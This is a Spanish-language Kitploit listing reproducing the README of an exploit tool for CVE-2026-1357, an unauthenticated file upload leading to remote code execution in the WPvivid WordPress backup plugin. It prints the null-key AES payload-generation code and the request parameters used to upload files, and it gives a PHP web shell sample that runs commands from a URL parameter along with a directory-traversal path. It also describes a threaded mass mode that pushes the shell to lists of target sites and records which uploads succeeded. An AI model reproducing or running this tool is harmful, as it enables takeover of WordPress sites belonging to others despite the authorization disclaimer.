Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-1357 — Migration, Backup, Staging <= 0.9.123 - Carga Arbitraria de Archivos sin Autenticación | Kitploit
Herramientas/GitHubGitHub/nxploited/cve-2026-1357
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubnxploited/cve-2026-1357

CVE-2026-1357

Migration, Backup, Staging <= 0.9.123 - Carga Arbitraria de Archivos sin Autenticación

Ver Repositorio
1hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🧨 CVE-2026-1357 – Herramienta de explotación de clave nula de WPvivid (CVE-2026-1357.py)

Migración, copia de seguridad, puesta en escena – WPvivid Backup & Migration ≤ 0.9.123
Vulnerabilidad: Carga arbitraria de archivos sin autenticación → Ejecución remota de código
CVE: CVE-2026-1357 – CVSS 9.8 (Crítico)

GitHub: https://github.com/Nxploited
Telegram: @KNxploited


🧬 Qué hace este script

Nxploited

CVE-2026-1357.py es una herramienta de explotación de prueba de concepto para la vulnerabilidad de WPvivid. Se centra en el defectuoso manejo de la sesión AES que permite a un atacante:

  1. Cifrar un payload con una clave/IV AES nula (todos los bytes en cero) en el mismo formato que WPvivid espera.
  2. Incrustar contenido de archivo arbitrario (por ejemplo, un shell PHP) y un nombre/ruta (name) elegido en el payload.
  3. Enviar este payload al endpoint de WPvivid mediante el parámetro wpvivid_action=send_to_site.
  4. (Opcionalmente) verificar si el archivo se escribió correctamente y es accesible.

El script no intenta adivinar ni abusar de las claves privadas directamente. En su lugar, simula el flujo roto de WPvivid donde una llamada fallida a openssl_private_decrypt() lleva a que el cifrado AES de phpseclib se inicialice con una clave nula.


🧠 Detalles técnicos

🔐 Payload con clave AES nula

El núcleo del exploit está en gen_wpvivid_payload():

  • Construye una estructura JSON:

    root@kitploit:~
    {
      "name": "<file_name>",
      "offset": 0,
      "data": "<base64(file_bytes)>",
      "file_size": <len(file_bytes)>,
      "md5": "<md5(file_bytes)>"
    }
    
  • Serializa este JSON (forma compacta, sin espacios).

  • Cifra el JSON usando:

    • AES-128-CBC
    • key = b"\x00" * 16
    • iv = b"\x00" * 16
  • Luego antepone:

    • 3 bytes: "000" (un marcador de campo de longitud estático).
    • 16 bytes en hexadecimal en mayúsculas: longitud del cifrado codificada como "{len(cipher):016X}".
  • El blob cifrado final es:

    root@kitploit:~
    "000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
    
  • Este blob se codifica en base64 y se devuelve como el valor final de wpvivid_content.

Función:

root@kitploit:~
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

Esto coincide con las expectativas de descifrado de WPvivid en la ruta de código vulnerable después del fallo del descifrado RSA.


🧰 Características y modos

El script tiene dos modos principales más una capacidad de prueba masiva:

  1. mood1 – Generador de payloads

    • Genera un valor wpvivid_content válido usando el truco de la clave nula.
    • Soporta múltiples formas de definir el contenido del archivo.
    • Opcionalmente lanza el Probador Masivo contra una lista de objetivos.
  2. mood2 – Probador de objetivo único

    • Usa un payload generado previamente.
    • Prueba un objetivo único de principio a fin:
      • Envía el payload.
      • Construye la URL esperada del archivo resultante.
      • Verifica si el archivo es accesible.
  3. Modo masivo (desde mood1)

    • Envía un payload elegido a múltiples objetivos desde un archivo de lista.
    • Usa concurrencia y una barra de progreso.
    • Realiza seguimiento y registra las subidas exitosas.

🚦 Ejecutar el script

root@kitploit:~
python3 CVE-2026-1357.py

Verás una interfaz basada en Rich con un banner y selección de modo:

  • mood1 – Generador de payloads
  • mood2 – Probador de objetivo único

🧪 Modo: mood1 – Generador de payloads

Propósito

  • Crear un payload de exploit (wpvivid_content) que codifica:
    • La ruta/nombre de archivo que quieres que WPvivid escriba.
    • El contenido del archivo (shell, archivo de prueba, etc.).

Flujo

  1. Selección de modo

    Cuando se te solicite:

    root@kitploit:~
    Choose mode (mood1/mood2) [mood1]:
    

    Pulsa Enter (por defecto es mood1) o escribe mood1.

  2. Nombre de archivo / ruta de destino

    Se te preguntará:

    root@kitploit:~
    Target file name (e.g., Nx_.php or ../../public/Nx_.php):
    

    Ejemplos:

    • Para colocar un archivo en el directorio de copias de seguridad de WPvivid:

      root@kitploit:~
      Nx_.php
      
    • Para abusar del directory traversal (si el objetivo lo permite):

      root@kitploit:~
      ../../public_html/Nx_.php
      

    El valor va al campo name del payload JSON.

  3. Modo de entrada del contenido

    El script muestra tres formas de definir el contenido del archivo:

    • Modo 1: contenido de una sola línea.
    • Modo 2: contenido de varias líneas (termina con EOF).
    • Modo 3: leer desde un archivo local (por ejemplo, ).

Opcional: Modo masivo desde mood1

Después de generar el payload, el script pregunta:

root@kitploit:~
Auto-send this payload to targets list (mass mode)? (y/N):

Si respondes y, se inicia el modo masivo con el payload y el nombre de archivo que acabas de crear.


🌐 Modo masivo – Múltiples objetivos

Propósito

  • Tomar un único payload de exploit y probarlo contra una lista de objetivos.

Flujo

  1. Archivo de objetivos

    Ejemplo de solicitud:

    root@kitploit:~
    Targets list file (one URL per line):
    

    Formato esperado del archivo (p. ej. targets.txt):

    root@kitploit:~
    https://site1.com
    site2.com
    http://site3.net
    

    El script normalizará automáticamente las URL base (añadiendo el esquema cuando falte).

  2. Número de hilos

    root@kitploit:~
    Threads (concurrent sites) [5]:
    

    Controla cuántos sitios se procesan en paralelo.

  3. Lógica por objetivo

    Para cada objetivo:

    • Normaliza la URL → base_url.

    • Llama:

      root@kitploit:~
      send_wpvivid_payload(base_url, payload)
      

      que:

      • Construye el POST con wpvivid_action=send_to_site + wpvivid_content=<payload>.
      • Lo envía mediante una sesión nueva con ajustes de pool de conexiones optimizados.
      • Comprueba si la respuesta contiene {"result":"success"} (verificación de forma compacta).

🧪 Modo: mood2 – Probador de objetivo único

Propósito

  • Usar un payload existente (de wpvivid_payload.txt o de una fuente externa) contra una URL única y verificar el archivo resultante.

Flujo

  1. URL de destino

    Solicitud:

    root@kitploit:~
    Target base URL (e.g., https://site.com):
    

    Ejemplo:

    root@kitploit:~
    https://victim.com
    

    El script lo normaliza a una base como:

    root@kitploit:~
    https://victim.com
    
  2. Nombre de archivo

    Solicitud:

    root@kitploit:~
    Expected file name (e.g., Nx_.php):
    

    Este es el nombre/ruta que esperas que WPvivid escriba (coincidiendo con lo que codificaste en el campo name del payload).

  3. Entrada del payload

    Solicitud:

    root@kitploit:~
    Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
    
    • Si pegas una línea completa que comienza con wpvivid_content=..., elimina el prefijo.
    • Si pegas solo el base64, lo toma tal cual.
  4. Ejecución

    El script:

    • Envía el POST con wpvivid_action=send_to_site + tu wpvivid_content.

Este modo es ideal para pruebas manuales / de laboratorio de un solo sitio con control fino sobre el payload.


📁 Archivos de salida

  • wpvivid_payload.txt

    • Se escribe en mood1.
    • Almacena:
      • file_name=<file_name_you_chose>
      • wpvivid_content=<payload>
  • Nx_.txt

    • Escrito por mood1 (modo masivo) y mood2.
    • Contiene una URL de archivo exitosa por línea donde la subida parece haber tenido éxito (y opcionalmente verificada).

⚠️ Aviso legal

Esta herramienta está pensada únicamente para:

  • Investigación de seguridad en entornos controlados.
  • Probar sistemas de tu propiedad o para los que tengas permiso explícito y por escrito.
  • Validar medidas de remediación y detección para CVE-2026-1357.

Al usar este script, aceptas que:

  • Eres responsable de cumplir con todas las leyes aplicables.
  • No lo usarás en sistemas sin la debida autorización.
  • El autor (Nxploited) no asume ninguna responsabilidad por el mal uso, daños, problemas legales o incidentes derivados del uso de esta herramienta.

Úsalo bajo tu propio riesgo y solo para pruebas de seguridad legítimas.


✍️ Autor y contacto

  • Por: Nxploited (Khaled Alenazi)
  • GitHub: https://github.com/Nxploited
  • Telegram: @KNxploited

Para actualizaciones, herramientas y contenido de investigación en seguridad, sigue el canal de Telegram:
👉 @KNxploited

Descargar herramienta
shell.php

Se te solicita:

root@kitploit:~
Mode [1/2/3] [1]:
  • Modo 1 – Una sola línea

    root@kitploit:~
    Single line content:
    

    Ejemplo de entrada:

    root@kitploit:~
    <?php phpinfo();
    
  • Modo 2 – Múltiples líneas

    root@kitploit:~
    Enter file content, line by line. Type 'EOF' on its own line when done.
    

    Puedes pegar o escribir un script PHP de varias líneas y terminar con EOF en su propia línea:

    root@kitploit:~
    <?php
    echo "Nxploited shell";
    system($_GET['cmd'] ?? 'id');
    ?>
    EOF
    
  • Modo 3 – Archivo local

    root@kitploit:~
    Local file path (e.g., shell.php):
    

    El script lee el archivo completo en file_bytes.

  • Generación del payload

    Una vez capturado el contenido, el script:

    • Construye el objeto JSON.
    • Lo cifra con AES-CBC de clave nula.
    • Envuelve el blob binario.
    • Lo codifica en base64.

    Verás una salida como:

    root@kitploit:~
    Payload generated.
    Use the value after '=' as wpvivid_content.
    
    wpvivid_content=BASE64_BLOB_HERE
    

    Y se escribe un archivo wpvivid_payload.txt:

    root@kitploit:~
    file_name=Nx_.php
    wpvivid_content=BASE64_BLOB_HERE
    
  • Si la subida se considera exitosa:

    • Construye shell_url como:

      root@kitploit:~
      f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
      
    • Lo guarda en Nx_.txt.

    • Intenta verify_written_file():

      • Solicita shell_url con GET.
      • Si status_code == 200, lo marca como verificado.
  • Si ocurre algún error:

    • El script clasifica el motivo mediante short_reason():
      • TIMEOUT / SSL / 404 / 403 / CONN / REQUEST / VERIFY / ERROR.
  • Interfaz

    • La barra de progreso de Rich muestra el progreso global y el tiempo transcurrido.
    • Cada sitio imprime:
      • [OK] <shell_url> en caso de éxito.
      • [FAIL] <base> (reason: ...) en caso de error.
      • [!] Not verified (...) cuando la subida pudo haber sido exitosa pero la verificación falló.
  • Si la respuesta sugiere éxito, construye:

    root@kitploit:~
    <base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
    

    y muestra [OK] con esa URL.

  • Agrega las URL exitosas a Nx_.txt.

  • Intenta la verificación mediante verify_written_file() e imprime el resultado.